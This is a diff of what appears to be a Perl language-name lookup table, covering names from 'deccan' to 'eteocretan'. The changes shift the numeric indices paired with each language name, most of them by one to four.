-      q(2204),
+      q(2205),
       q(0),
       ],
    q(deccan) => [
-      q(1969),
+      q(1970),
       q(0),
       ],
    q(dedua) => [
-      q(1983),
+      q(1984),
       q(0),
       ],
    q(defaka) => [
-      q(0645),
+      q(0646),
       q(0),
       ],
    q(defi gbe) => [
-      q(2423),
+      q(2424),
       q(0),
       ],
    q(deg) => [
-      q(4707),
+      q(4708),
       q(0),
       ],
    q(degaru) => [
-      q(2011),
+      q(2012),
       q(0),
       ],
    q(degema) => [
-      q(1986),
+      q(1987),
       q(0),
       ],
    q(degenan) => [
-      q(2001),
+      q(2002),
       q(0),
       ],
    q(degexit'an) => [
-      q(2965),
+      q(2968),
       q(0),
       ],
    q(dehu) => [
-      q(2025),
+      q(2026),
       q(0),
       ],
    q(dehwari) => [
-      q(1987),
+      q(1988),
       q(0),
       ],
    q(dek) => [
-      q(1989),
+      q(1990),
       q(0),
       ],
    q(dela-oenale) => [
-      q(5836),
+      q(5837),
       q(0),
       ],
    q(delaware) => [
-      q(0106),
+      q(0107),
       q(0),
       ],
    q(delo) => [
-      q(5089),
+      q(5093),
       q(0),
       ],
    q(dem) => [
-      q(1990),
+      q(1991),
       q(0),
       ],
    q(dema) => [
-      q(2090),
+      q(2091),
       q(0),
       ],
    q(demisa) => [
-      q(1988),
+      q(1989),
       q(0),
       ],
    q(demta) => [
-      q(2091),
+      q(2092),
       q(0),
       ],
    q(dendi (benin)) => [
-      q(1977),
+      q(1978),
       q(0),
       ],
    q(dendi (central african republic)) => [
-      q(1992),
+      q(1993),
       q(0),
       ],
    q(dene suline) => [
@@ -30797,175 +30827,175 @@
       q(1),
       ],
    q(dengese) => [
-      q(1996),
+      q(1997),
       q(0),
       ],
    q(dengka) => [
-      q(2098),
+      q(2099),
       q(0),
       ],
    q(deni) => [
-      q(2105),
+      q(2106),
       q(0),
       ],
    q(deno) => [
-      q(1950),
+      q(1951),
       q(0),
       ],
    q(denya) => [
-      q(0809),
+      q(0810),
       q(0),
       ],
    q(deori) => [
-      q(1993),
+      q(1994),
       q(0),
       ],
    q(dera (indonesia)) => [
-      q(3201),
+      q(3203),
       q(0),
       ],
    q(dera (nigeria)) => [
-      q(3476),
+      q(3477),
       q(0),
       ],
    q(desano) => [
-      q(1994),
+      q(1995),
       q(0),
       ],
    q(desiya) => [
-      q(2147),
+      q(2148),
       q(0),
       ],
    q(dewoin) => [
-      q(1984),
+      q(1985),
       q(0),
       ],
    q(dezfuli) => [
-      q(1985),
+      q(1986),
       q(0),
       ],
    q(dghwede) => [
-      q(2003),
+      q(2004),
       q(0),
       ],
    q(dhaiso) => [
-      q(2023),
+      q(2024),
       q(0),
       ],
    q(dhalandji) => [
-      q(2018),
+      q(2019),
       q(0),
       ],
    q(dhangu) => [
-      q(2016),
+      q(2017),
       q(1),
       ],
    q(dhangu-djangu) => [
-      q(2016),
+      q(2017),
       q(0),
       ],
    q(dhanki) => [
-      q(2020),
+      q(2021),
       q(0),
       ],
    q(dhanwar (nepal)) => [
-      q(2026),
+      q(2027),
       q(0),
       ],
    q(dhao) => [
-      q(4821),
+      q(4823),
       q(0),
       ],
    q(dhargari) => [
-      q(2022),
+      q(2023),
       q(0),
       ],
    q(dharuk) => [
-      q(7309),
+      q(7311),
       q(0),
       ],
    q(dharumbal) => [
-      q(7330),
+      q(7333),
       q(0),
       ],
    q(dhatki) => [
-      q(4342),
+      q(4343),
       q(0),
       ],
    q(dhimal) => [
-      q(2017),
+      q(2018),
       q(0),
       ],
    q(dhivehi) => [
-      q(0110),
+      q(0111),
       q(1),
       ],
    q(dhodia) => [
-      q(2021),
+      q(2022),
       q(0),
       ],
    q(dhofari arabic) => [
-      q(0607),
+      q(0608),
       q(0),
       ],
    q(dholuo) => [
-      q(0260),
+      q(0261),
       q(1),
       ],
    q(dhudhuroa) => [
-      q(1979),
+      q(1980),
       q(0),
       ],
    q(dhundari) => [
-      q(2015),
+      q(2016),
       q(0),
       ],
    q(dhungaloo) => [
-      q(2027),
+      q(2028),
       q(0),
       ],
    q(dhurga) => [
-      q(2024),
+      q(2025),
       q(0),
       ],
    q(dhuwal) => [
-      q(2190),
+      q(2191),
       q(0),
       ],
    q(dhuwaya) => [
-      q(2192),
+      q(2193),
       q(0),
       ],
    q(dia) => [
-      q(2028),
+      q(2029),
       q(0),
       ],
    q(dibabawon manobo) => [
-      q(4122),
+      q(4123),
       q(0),
       ],
    q(dibiyaso) => [
-      q(1968),
+      q(1969),
       q(0),
       ],
    q(dibo) => [
-      q(2040),
+      q(2041),
       q(0),
       ],
    q(dibole) => [
-      q(1537),
+      q(1538),
       q(0),
       ],
    q(dicamay agta) => [
-      q(2184),
+      q(2185),
       q(0),
       ],
    q(didinga) => [
-      q(2031),
+      q(2032),
       q(0),
       ],
    q(dido) => [
-      q(1978),
+      q(1979),
       q(0),
       ],
    q(diebroud) => [
@@ -30973,95 +31003,95 @@
       q(1),
       ],
    q(dieri) => [
-      q(2032),
+      q(2033),
       q(0),
       ],
    q(digaro-mishmi) => [
-      q(4285),
+      q(4286),
       q(0),
       ],
    q(digo) => [
-      q(2033),
+      q(2034),
       q(0),
       ],
    q(dii) => [
-      q(2178),
+      q(2179),
       q(0),
       ],
    q(dijim-bwilim) => [
-      q(1707),
+      q(1708),
       q(0),
       ],
    q(dilling) => [
-      q(2038),
+      q(2039),
       q(0),
       ],
    q(dima) => [
-      q(3113),
+      q(3115),
       q(0),
       ],
    q(dimasa) => [
-      q(2044),
+      q(2045),
       q(0),
       ],
    q(dimbong) => [
-      q(2035),
+      q(2036),
       q(0),
       ],
    q(dime) => [
-      q(2039),
+      q(2040),
       q(0),
       ],
    q(dimili) => [
-      q(0486),
+      q(0487),
       q(1),
       ],
    q(dimli) => [
-      q(0486),
+      q(0487),
       q(2),
       ],
    q(dimli (individual language)) => [
-      q(2042),
+      q(2043),
       q(0),
       ],
    q(dimli (macrolanguage)) => [
-      q(0486),
+      q(0487),
       q(6),
       ],
    q(dineor) => [
-      q(4520),
+      q(4521),
       q(1),
       ],
    q(ding) => [
-      q(2050),
+      q(2051),
       q(0),
       ],
    q(dinka) => [
-      q(0109),
+      q(0110),
       q(0),
       ],
    q(dirari) => [
-      q(2045),
+      q(2046),
       q(0),
       ],
    q(dirasha) => [
-      q(2460),
+      q(2461),
       q(0),
       ],
    q(diri) => [
-      q(2187),
+      q(2188),
       q(0),
       ],
    q(diriku) => [
-      q(2046),
+      q(2047),
       q(0),
       ],
    q(dirim) => [
-      q(2043),
+      q(2044),
       q(0),
       ],
    q(disa) => [
-      q(2144),
+      q(2145),
       q(0),
       ],
    q(ditammari) => [
@@ -31069,27 +31099,27 @@
       q(0),
       ],
    q(ditidaht) => [
-      q(2151),
+      q(2152),
       q(0),
       ],
    q(diuwe) => [
-      q(2049),
+      q(2050),
       q(0),
       ],
    q(diuxi-tilantongo mixtec) => [
-      q(7492),
+      q(7495),
       q(0),
       ],
    q(divehi) => [
-      q(0110),
+      q(0111),
       q(0),
       ],
    q(dixon reef) => [
-      q(2048),
+      q(2049),
       q(0),
       ],
    q(dizin) => [
-      q(4190),
+      q(4191),
       q(0),
       ],
    q(djabwurrung) => [
@@ -31097,55 +31127,55 @@
       q(0),
       ],
    q(djadjawurrung) => [
-      q(2051),
+      q(2052),
       q(0),
       ],
    q(djambarrpuyngu) => [
-      q(2063),
+      q(2064),
       q(0),
       ],
    q(djamindjung) => [
-      q(2054),
+      q(2055),
       q(0),
       ],
    q(djangu) => [
-      q(2016),
+      q(2017),
       q(2),
       ],
    q(djangun) => [
-      q(2056),
+      q(2057),
       q(0),
       ],
    q(djauan) => [
-      q(2061),
+      q(2062),
       q(0),
       ],
    q(djawi) => [
-      q(2065),
+      q(2066),
       q(0),
       ],
    q(djeebbana) => [
-      q(2058),
+      q(2059),
       q(0),
       ],
    q(djimini senoufo) => [
-      q(2197),
+      q(2198),
       q(0),
       ],
    q(djinang) => [
-      q(2057),
+      q(2058),
       q(0),
       ],
    q(djinba) => [
-      q(2052),
+      q(2053),
       q(0),
       ],
    q(djingili) => [
-      q(3092),
+      q(3094),
       q(0),
       ],
    q(djiwarli) => [
-      q(2203),
+      q(2204),
       q(0),
       ],
    q(dobel) => [
@@ -31153,119 +31183,119 @@
       q(0),
       ],
    q(dobu) => [
-      q(2107),
+      q(2108),
       q(0),
       ],
    q(doe) => [
-      q(2109),
+      q(2110),
       q(0),
       ],
    q(doga) => [
-      q(2002),
+      q(2003),
       q(0),
       ],
    q(doghoro) => [
-      q(2013),
+      q(2014),
       q(0),
       ],
    q(dogose) => [
-      q(2119),
+      q(2120),
       q(0),
       ],
    q(dogoso) => [
-      q(2009),
+      q(2010),
       q(0),
       ],
    q(dogri) => [
-      q(0111),
+      q(0112),
       q(0),
       ],
    q(dogri (individual language)) => [
-      q(2008),
+      q(2009),
       q(0),
       ],
    q(dogri (macrolanguage)) => [
-      q(0111),
+      q(0112),
       q(1),
       ],
    q(dogrib) => [
-      q(0108),
+      q(0109),
       q(0),
       ],
    q(dogul dom dogon) => [
-      q(1954),
+      q(1955),
       q(0),
       ],
    q(doka) => [
-      q(1955),
+      q(1956),
       q(0),
       ],
    q(doko-uyanga) => [
-      q(6951),
+      q(6952),
       q(0),
       ],
    q(dolgan) => [
-      q(2071),
+      q(2072),
       q(0),
       ],
    q(dolpo) => [
-      q(2130),
+      q(2131),
       q(0),
       ],
    q(dom) => [
-      q(2106),
+      q(2107),
       q(0),
       ],
    q(domaaki) => [
-      q(2081),
+      q(2082),
       q(0),
       ],
    q(domari) => [
-      q(5811),
+      q(5812),
       q(0),
       ],
    q(dombe) => [
-      q(2121),
+      q(2122),
       q(0),
       ],
    q(dominican sign language) => [
-      q(2117),
+      q(2118),
       q(0),
       ],
    q(dompo) => [
-      q(2124),
+      q(2125),
       q(0),
       ],
    q(domu) => [
-      q(2110),
+      q(2111),
       q(0),
       ],
    q(domung) => [
-      q(1995),
+      q(1996),
       q(0),
       ],
    q(dondo) => [
-      q(2112),
+      q(2113),
       q(0),
       ],
    q(dong) => [
-      q(2111),
+      q(2112),
       q(0),
       ],
    q(dongo) => [
-      q(2115),
+      q(2116),
       q(0),
       ],
    q(dongolawi) => [
-      q(2006),
+      q(2007),
       q(1),
       ],
    q(dongotono) => [
-      q(1972),
+      q(1973),
       q(0),
       ],
    q(dongshanba lalo) => [
-      q(7633),
+      q(7636),
       q(0),
       ],
    q(dongxiang) => [
@@ -31273,39 +31303,39 @@
       q(0),
       ],
    q(donno so dogon) => [
-      q(1980),
+      q(1981),
       q(0),
       ],
    q(doondo) => [
-      q(1973),
+      q(1974),
       q(0),
       ],
    q(dori'o) => [
-      q(2118),
+      q(2119),
       q(0),
       ],
    q(dorig) => [
-      q(7246),
+      q(7248),
       q(1),
       ],
    q(doromu-koki) => [
-      q(3545),
+      q(3546),
       q(0),
       ],
    q(dororo) => [
-      q(2137),
+      q(2138),
       q(0),
       ],
    q(dorze) => [
-      q(2125),
+      q(2126),
       q(0),
       ],
    q(doso) => [
-      q(2113),
+      q(2114),
       q(0),
       ],
    q(dotyali) => [
-      q(2163),
+      q(2164),
       q(0),
       ],
    q(doutai) => [
@@ -31313,191 +31343,191 @@
       q(0),
       ],
    q(doyayo) => [
-      q(2122),
+      q(2123),
       q(0),
       ],
    q(dravidian languages) => [
-      q(0112),
+      q(0113),
       q(0),
       ],
    q(drehu) => [
-      q(2025),
+      q(2026),
       q(1),
       ],
    q(drents) => [
-      q(2139),
+      q(2140),
       q(0),
       ],
    q(drubea) => [
-      q(2168),
+      q(2169),
       q(1),
       ],
    q(drung) => [
-      q(2180),
+      q(2181),
       q(0),
       ],
    q(duala) => [
-      q(0114),
+      q(0115),
       q(0),
       ],
    q(duano) => [
-      q(2176),
+      q(2177),
       q(0),
       ],
    q(duau) => [
-      q(2186),
+      q(2187),
       q(0),
       ],
    q(dubli) => [
-      q(2164),
+      q(2165),
       q(0),
       ],
    q(dubu) => [
-      q(2087),
+      q(2088),
       q(0),
       ],
    q(dugun) => [
-      q(4792),
+      q(4794),
       q(0),
       ],
    q(duguri) => [
-      q(1958),
+      q(1959),
       q(0),
       ],
    q(dugwor) => [
-      q(2079),
+      q(2080),
       q(0),
       ],
    q(duhwa) => [
-      q(3205),
+      q(3207),
       q(0),
       ],
    q(duke) => [
-      q(4917),
+      q(4919),
       q(0),
       ],
    q(dulbu) => [
-      q(1960),
+      q(1961),
       q(0),
       ],
    q(duli-gey) => [
-      q(2185),
+      q(2186),
       q(0),
       ],
    q(duma) => [
-      q(2075),
+      q(2076),
       q(0),
       ],
    q(dumbea) => [
-      q(2168),
+      q(2169),
       q(0),
       ],
    q(dumi) => [
-      q(2179),
+      q(2180),
       q(0),
       ],
    q(dumpas) => [
-      q(2088),
+      q(2089),
       q(0),
       ],
    q(dumun) => [
-      q(2171),
+      q(2172),
       q(0),
       ],
    q(duna) => [
-      q(2165),
+      q(2166),
       q(0),
       ],
    q(dungan) => [
-      q(2095),
+      q(2096),
       q(0),
       ],
    q(dungmali) => [
-      q(5725),
+      q(5727),
       q(0),
       ],
    q(dungra bhil) => [
-      q(2170),
+      q(2171),
       q(0),
       ],
    q(dungu) => [
-      q(1966),
+      q(1967),
       q(0),
       ],
    q(dupaninan agta) => [
-      q(2175),
+      q(2176),
       q(0),
       ],
    q(dura) => [
-      q(2136),
+      q(2137),
       q(0),
       ],
    q(duri) => [
-      q(4606),
+      q(4607),
       q(0),
       ],
    q(duriankere) => [
-      q(1959),
+      q(1960),
       q(0),
       ],
    q(duruma) => [
-      q(2169),
+      q(2170),
       q(0),
       ],
    q(duruwa) => [
-      q(5381),
+      q(5385),
       q(0),
       ],
    q(dusner) => [
-      q(2146),
+      q(2147),
       q(0),
       ],
    q(dusun deyah) => [
-      q(2174),
+      q(2175),
       q(0),
       ],
    q(dusun malang) => [
-      q(2177),
+      q(2178),
       q(0),
       ],
    q(dusun witu) => [
-      q(2182),
+      q(2183),
       q(0),
       ],
    q(dutch) => [
-      q(0116),
+      q(0117),
       q(0),
       ],
    q(dutch sign language) => [
-      q(2142),
+      q(2143),
       q(0),
       ],
    q(dutch, middle (ca.1050-1350)) => [
-      q(0115),
+      q(0116),
       q(0),
       ],
    q(dutton world speedwords) => [
-      q(2189),
+      q(2190),
       q(0),
       ],
    q(duungooma) => [
-      q(2183),
+      q(2184),
       q(0),
       ],
    q(duupa) => [
-      q(1934),
+      q(1935),
       q(0),
       ],
    q(duvle) => [
-      q(2181),
+      q(2182),
       q(0),
       ],
    q(duwai) => [
-      q(1961),
+      q(1962),
       q(0),
       ],
    q(duwet) => [
-      q(2663),
+      q(2665),
       q(0),
       ],
    q(duya) => [
@@ -31505,103 +31535,103 @@
       q(0),
       ],
    q(dwang) => [
-      q(4998),
+      q(5000),
       q(0),
       ],
    q(dyaabugay) => [
-      q(2201),
+      q(2202),
       q(0),
       ],
    q(dyaberdyaber) => [
-      q(2194),
+      q(2195),
       q(0),
       ],
    q(dyan) => [
-      q(2193),
+      q(2194),
       q(0),
       ],
    q(dyangadi) => [
-      q(2199),
+      q(2200),
       q(0),
       ],
    q(dyirbal) => [
-      q(1957),
+      q(1958),
       q(0),
       ],
    q(dyugun) => [
-      q(2195),
+      q(2196),
       q(0),
       ],
    q(dyula) => [
-      q(0117),
+      q(0118),
       q(0),
       ],
    q(dza) => [
-      q(3077),
+      q(3079),
       q(0),
       ],
    q(dzalakha) => [
-      q(2205),
+      q(2206),
       q(0),
       ],
    q(dzando) => [
-      q(2206),
+      q(2207),
       q(0),
       ],
    q(dzao min) => [
-      q(1384),
+      q(1385),
       q(0),
       ],
    q(dzodinka) => [
-      q(0605),
+      q(0606),
       q(0),
       ],
    q(dzongkha) => [
-      q(0118),
+      q(0119),
       q(0),
       ],
    q(dzuungoo) => [
-      q(2099),
+      q(2100),
       q(0),
       ],
    q(e) => [
-      q(2216),
+      q(2217),
       q(0),
       ],
    q(e'ma buyang) => [
-      q(7785),
+      q(7788),
       q(0),
       ],
    q(e'napa woromaipu) => [
-      q(5361),
+      q(5365),
       q(0),
       ],
    q(early tripuri) => [
-      q(7504),
+      q(7507),
       q(0),
       ],
    q(east ambae) => [
-      q(5244),
+      q(5248),
       q(0),
       ],
    q(east berawan) => [
-      q(7812),
+      q(7815),
       q(0),
       ],
    q(east damar) => [
-      q(2085),
+      q(2086),
       q(0),
       ],
    q(east futuna) => [
-      q(2379),
+      q(2380),
       q(0),
       ],
    q(east germanic languages) => [
-      q(0505),
+      q(0506),
       q(0),
       ],
    q(east kewa) => [
-      q(3392),
+      q(3393),
       q(0),
       ],
    q(east limba) => [
@@ -31609,19 +31639,19 @@
       q(0),
       ],
    q(east makian) => [
-      q(4358),
+      q(4359),
       q(0),
       ],
    q(east masela) => [
-      q(7006),
+      q(7007),
       q(0),
       ],
    q(east nyala) => [
-      q(4939),
+      q(4941),
       q(0),
       ],
    q(east slavic languages) => [
-      q(0534),
+      q(0535),
       q(0),
       ],
    q(east tarangan) => [
@@ -31629,59 +31659,59 @@
       q(0),
       ],
    q(east yugur) => [
-      q(7763),
+      q(7766),
       q(0),
       ],
    q(eastern abnaki) => [
-      q(0552),
+      q(0553),
       q(0),
       ],
    q(eastern acipa) => [
-      q(0593),
+      q(0594),
       q(0),
       ],
    q(eastern apurimac quechua) => [
-      q(5691),
+      q(5693),
       q(0),
       ],
    q(eastern arrernte) => [
-      q(0633),
+      q(0634),
       q(0),
       ],
    q(eastern balochi) => [
-      q(1174),
+      q(1175),
       q(0),
       ],
    q(eastern bolivian guarani) => [
-      q(2646),
+      q(2648),
       q(0),
       ],
    q(eastern bontok) => [
-      q(2209),
+      q(2210),
       q(0),
       ],
    q(eastern bru) => [
-      q(1440),
+      q(1441),
       q(0),
       ],
    q(eastern canadian inuktitut) => [
-      q(2933),
+      q(2936),
       q(0),
       ],
    q(eastern cham) => [
-      q(1744),
+      q(1745),
       q(0),
       ],
    q(eastern durango nahuatl) => [
-      q(1014),
+      q(1015),
       q(0),
       ],
    q(eastern egyptian bedawi arabic) => [
-      q(0959),
+      q(0960),
       q(0),
       ],
    q(eastern frisian) => [
-      q(0141),
+      q(0142),
       q(0),
       ],
    q(eastern gorkha tamang) => [
@@ -31689,35 +31719,35 @@
       q(0),
       ],
    q(eastern highland chatino) => [
-      q(1779),
+      q(1780),
       q(0),
       ],
    q(eastern highland otomi) => [
-      q(5314),
+      q(5318),
       q(0),
       ],
    q(eastern hongshuihe zhuang) => [
-      q(7820),
+      q(7823),
       q(0),
       ],
    q(eastern huasteca nahuatl) => [
-      q(4855),
+      q(4857),
       q(0),
       ],
    q(eastern huishui hmong) => [
-      q(2776),
+      q(2778),
       q(0),
       ],
    q(eastern huishui miao) => [
-      q(2776),
+      q(2778),
       q(1),
       ],
    q(eastern karaboro) => [
-      q(7459),
+      q(7462),
       q(0),
       ],
    q(eastern karnic) => [
-      q(2227),
+      q(2228),
       q(0),
       ],
    q(eastern katu) => [
@@ -31725,99 +31755,99 @@
       q(0),
       ],
    q(eastern kayah) => [
-      q(2237),
+      q(2238),
       q(0),
       ],
    q(eastern keres) => [
-      q(3258),
+      q(3260),
       q(0),
       ],
    q(eastern khumi chin) => [
-      q(1704),
+      q(1705),
       q(0),
       ],
    q(eastern krahn) => [
-      q(3557),
+      q(3558),
       q(0),
       ],
    q(eastern lalu) => [
-      q(7641),
+      q(7644),
       q(0),
       ],
    q(eastern lawa) => [
-      q(4093),
+      q(4094),
       q(0),
       ],
    q(eastern magar) => [
-      q(4256),
+      q(4257),
       q(0),
       ],
    q(eastern malayo-polynesian languages) => [
-      q(0521),
+      q(0522),
       q(0),
       ],
    q(eastern maninkakan) => [
-      q(2250),
+      q(2251),
       q(0),
       ],
    q(eastern mari) => [
-      q(4282),
+      q(4283),
       q(0),
       ],
    q(eastern maroon creole) => [
-      q(2059),
+      q(2060),
       q(0),
       ],
    q(eastern meohang) => [
-      q(2248),
+      q(2249),
       q(0),
       ],
    q(eastern mnong) => [
-      q(4412),
+      q(4413),
       q(0),
       ],
    q(eastern muria) => [
-      q(2255),
+      q(2256),
       q(0),
       ],
    q(eastern ngad'a) => [
-      q(4798),
+      q(4800),
       q(0),
       ],
    q(eastern nisu) => [
-      q(5016),
+      q(5018),
       q(0),
       ],
    q(eastern ojibwa) => [
-      q(5211),
+      q(5215),
       q(0),
       ],
    q(eastern oromo) => [
-      q(2709),
+      q(2711),
       q(0),
       ],
    q(eastern parbate kham) => [
-      q(3356),
+      q(3357),
       q(0),
       ],
    q(eastern penan) => [
-      q(5414),
+      q(5418),
       q(0),
       ],
    q(eastern pomo) => [
-      q(5397),
+      q(5401),
       q(0),
       ],
    q(eastern qiandong miao) => [
-      q(2786),
+      q(2788),
       q(0),
       ],
    q(eastern subanen) => [
-      q(5977),
+      q(5978),
       q(0),
       ],
    q(eastern sudanic languages) => [
-      q(0524),
+      q(0525),
       q(0),
       ],
    q(eastern tamang) => [
@@ -31825,59 +31855,59 @@
       q(0),
       ],
    q(eastern tawbuid) => [
-      q(1335),
+      q(1336),
       q(0),
       ],
    q(eastern xiangxi miao) => [
-      q(4585),
+      q(4586),
       q(0),
       ],
    q(eastern xwla gbe) => [
-      q(2438),
+      q(2439),
       q(0),
       ],
    q(eastern yiddish) => [
-      q(7599),
+      q(7602),
       q(0),
       ],
    q(ebira) => [
-      q(2914),
+      q(2917),
       q(0),
       ],
    q(eblan) => [
-      q(7312),
+      q(7315),
       q(0),
       ],
    q(ebrie) => [
-      q(2211),
+      q(2212),
       q(0),
       ],
    q(ebughu) => [
-      q(2208),
+      q(2209),
       q(0),
       ],
    q(ecuadorian sign language) => [
-      q(2214),
+      q(2215),
       q(0),
       ],
    q(ede cabe) => [
-      q(1663),
+      q(1664),
       q(0),
       ],
    q(ede ica) => [
-      q(2892),
+      q(2895),
       q(0),
       ],
    q(ede idaca) => [
-      q(2899),
+      q(2902),
       q(0),
       ],
    q(ede ije) => [
-      q(2930),
+      q(2933),
       q(0),
       ],
    q(edera awyu) => [
-      q(0984),
+      q(0985),
       q(0),
       ],
    q(edo) => [
@@ -31885,191 +31915,191 @@
       q(1),
       ],
    q(edolo) => [
-      q(2304),
+      q(2305),
       q(0),
       ],
    q(edomite) => [
-      q(7310),
+      q(7312),
       q(0),
       ],
    q(edopi) => [
-      q(1953),
+      q(1954),
       q(0),
       ],
    q(edwas) => [
-      q(1346),
+      q(1347),
       q(2),
       ],
    q(efai) => [
-      q(2217),
+      q(2218),
       q(0),
       ],
    q(efe) => [
-      q(2218),
+      q(2219),
       q(0),
       ],
    q(efik) => [
-      q(0119),
+      q(0120),
       q(0),
       ],
    q(efutop) => [
-      q(5198),
+      q(5202),
       q(0),
       ],
    q(ega) => [
-      q(2219),
+      q(2220),
       q(0),
       ],
    q(eggon) => [
-      q(2221),
+      q(2222),
       q(0),
       ],
    q(egypt sign language) => [
-      q(2291),
+      q(2292),
       q(0),
       ],
    q(egyptian (ancient)) => [
-      q(0120),
+      q(0121),
       q(0),
       ],
    q(egyptian arabic) => [
-      q(0884),
+      q(0885),
       q(0),
       ],
    q(egyptian languages) => [
-      q(0501),
+      q(0502),
       q(0),
       ],
    q(ehueun) => [
-      q(2222),
+      q(2223),
       q(0),
       ],
    q(eipomek) => [
-      q(2223),
+      q(2224),
       q(0),
       ],
    q(eitiep) => [
-      q(2224),
+      q(2225),
       q(0),
       ],
    q(ejagham) => [
-      q(2307),
+      q(2308),
       q(0),
       ],
    q(ejamat) => [
-      q(2226),
+      q(2227),
       q(0),
       ],
    q(ekajuk) => [
-      q(0121),
+      q(0122),
       q(0),
       ],
    q(ekari) => [
-      q(2229),
+      q(2230),
       q(0),
       ],
    q(ekegusii) => [
-      q(2660),
+      q(2662),
       q(1),
       ],
    q(eki) => [
-      q(2230),
+      q(2231),
       q(0),
       ],
    q(ekit) => [
-      q(2228),
+      q(2229),
       q(0),
       ],
    q(ekpeye) => [
-      q(2235),
+      q(2236),
       q(0),
       ],
    q(el alto zapotec) => [
-      q(7911),
+      q(7914),
       q(0),
       ],
    q(el hugeirat) => [
-      q(2239),
+      q(2240),
       q(0),
       ],
    q(el molo) => [
-      q(2243),
+      q(2244),
       q(0),
       ],
    q(el nayar cora) => [
-      q(1849),
+      q(1850),
       q(0),
       ],
    q(elamite) => [
-      q(0122),
+      q(0123),
       q(0),
       ],
    q(eleme) => [
-      q(2242),
+      q(2243),
       q(0),
       ],
    q(elepi) => [
-      q(2238),
+      q(2239),
       q(0),
       ],
    q(elfdalian) => [
-      q(5330),
-      q(1),
+      q(5334),
+      q(0),
       ],
    q(elip) => [
-      q(2233),
+      q(2234),
       q(0),
       ],
    q(elkei) => [
-      q(2241),
+      q(2242),
       q(0),
       ],
    q(elotepec zapotec) => [
-      q(7935),
+      q(7938),
       q(0),
       ],
    q(eloyi) => [
-      q(0646),
+      q(0647),
       q(0),
       ],
    q(elseng) => [
-      q(4503),
+      q(4504),
       q(0),
       ],
    q(elu) => [
-      q(2244),
+      q(2245),
       q(0),
       ],
    q(elymian) => [
-      q(7388),
+      q(7391),
       q(0),
       ],
    q(emae) => [
-      q(4403),
+      q(4404),
       q(0),
       ],
    q(emai-iuleha-ora) => [
-      q(2245),
+      q(2246),
       q(0),
       ],
    q(eman) => [
-      q(2252),
+      q(2253),
       q(0),
       ],
    q(embaloh) => [
-      q(2246),
+      q(2247),
       q(0),
       ],
    q(embera-baudo) => [
-      q(1091),
+      q(1092),
       q(0),
       ],
    q(embera-catio) => [
-      q(1891),
+      q(1892),
       q(0),
       ],
    q(embera-chami) => [
-      q(1783),
+      q(1784),
       q(0),
       ],
    q(embera-tado) => [
@@ -32077,63 +32107,63 @@
       q(0),
       ],
    q(embu) => [
-      q(2212),
+      q(2213),
       q(0),
       ],
    q(emem) => [
-      q(2269),
+      q(2270),
       q(1),
       ],
    q(emerillon) => [
-      q(2247),
+      q(2248),
       q(0),
       ],
    q(emilian) => [
-      q(2220),
+      q(2221),
       q(0),
       ],
    q(emplawas) => [
-      q(2256),
+      q(2257),
       q(0),
       ],
    q(emumu) => [
-      q(2269),
+      q(2270),
       q(0),
       ],
    q(en) => [
-      q(2261),
+      q(2262),
       q(0),
       ],
    q(enawene-nawe) => [
-      q(6901),
+      q(6902),
       q(0),
       ],
    q(ende) => [
-      q(2262),
+      q(2263),
       q(0),
       ],
    q(enga) => [
-      q(2268),
+      q(2269),
       q(0),
       ],
    q(engdewu) => [
-      q(4842),
+      q(4844),
       q(0),
       ],
    q(engenni) => [
-      q(2266),
+      q(2267),
       q(0),
       ],
    q(enggano) => [
-      q(2267),
+      q(2268),
       q(0),
       ],
    q(english) => [
-      q(0123),
+      q(0124),
       q(0),
       ],
    q(english, middle (1100-1500)) => [
-      q(0124),
+      q(0125),
       q(0),
       ],
    q(english, old (ca.450-1100)) => [
@@ -32141,59 +32171,59 @@
       q(0),
       ],
    q(english-based creoles and pidgins) => [
-      q(0093),
+      q(0094),
       q(2),
       ],
    q(enlhet) => [
-      q(2265),
+      q(2266),
       q(0),
       ],
    q(enrekang) => [
-      q(5625),
+      q(5628),
       q(0),
       ],
    q(enu) => [
-      q(2270),
+      q(2271),
       q(0),
       ],
    q(enwan (akwa ibom state)) => [
-      q(2272),
+      q(2273),
       q(0),
       ],
    q(enwan (edu state)) => [
-      q(2271),
+      q(2272),
       q(0),
       ],
    q(enxet) => [
-      q(2273),
+      q(2274),
       q(0),
       ],
    q(enya) => [
-      q(2485),
+      q(2486),
       q(0),
       ],
    q(epena) => [
-      q(6045),
+      q(6046),
       q(0),
       ],
    q(epi-olmec) => [
-      q(7317),
+      q(7320),
       q(0),
       ],
    q(epie) => [
-      q(2275),
+      q(2276),
       q(0),
       ],
    q(epigraphic mayan) => [
-      q(2258),
+      q(2259),
       q(0),
       ],
    q(eravallan) => [
-      q(2276),
+      q(2277),
       q(0),
       ],
    q(erave) => [
-      q(3397),
+      q(3398),
       q(0),
       ],
    q(ere) => [
@@ -32201,307 +32231,307 @@
       q(0),
       ],
    q(eritai) => [
-      q(2284),
+      q(2285),
       q(0),
       ],
    q(erokwanas) => [
-      q(2285),
+      q(2286),
       q(0),
       ],
    q(erre) => [
-      q(2282),
+      q(2283),
       q(0),
       ],
    q(erromintxela) => [
-      q(2257),
+      q(2258),
       q(0),
       ],
    q(ersu) => [
-      q(2283),
+      q(2284),
       q(0),
       ],
    q(eruwa) => [
-      q(2278),
+      q(2279),
       q(0),
       ],
    q(erzya) => [
-      q(0297),
+      q(0298),
       q(0),
       ],
    q(esan) => [
-      q(2996),
+      q(2999),
       q(0),
       ],
    q(ese) => [
-      q(4160),
+      q(4161),
       q(0),
       ],
    q(ese ejja) => [
-      q(2286),
+      q(2287),
       q(0),
       ],
    q(eshtehardi) => [
-      q(2288),
+      q(2289),
       q(0),
       ],
    q(esimbi) => [
-      q(0669),
+      q(0670),
       q(0),
       ],
    q(eskayan) => [
-      q(2298),
+      q(2299),
       q(0),
       ],
    q(eskimo-aleut languages) => [
-      q(0502),
+      q(0503),
       q(0),
       ],
    q(esperanto) => [
-      q(0125),
+      q(0126),
       q(0),
       ],
    q(esselen) => [
-      q(2295),
+      q(2296),
       q(0),
       ],
    q(estado de mexico otomi) => [
-      q(5318),
+      q(5322),
       q(0),
       ],
    q(estonian) => [
-      q(0126),
+      q(0127),
       q(0),
       ],
    q(estonian sign language) => [
-      q(2294),
+      q(2295),
       q(0),
       ],
    q(esuma) => [
-      q(2292),
+      q(2293),
       q(0),
       ],
    q(etchemin) => [
-      q(2300),
+      q(2301),
       q(0),
       ],
    q(etebi) => [
-      q(2299),
+      q(2300),
       q(0),
       ],
    q(eten) => [
-      q(2308),
+      q(2309),
       q(0),
       ],
    q(eteocretan) => [
-      q(2213),
+      q(2214),
       q(0),
       ],
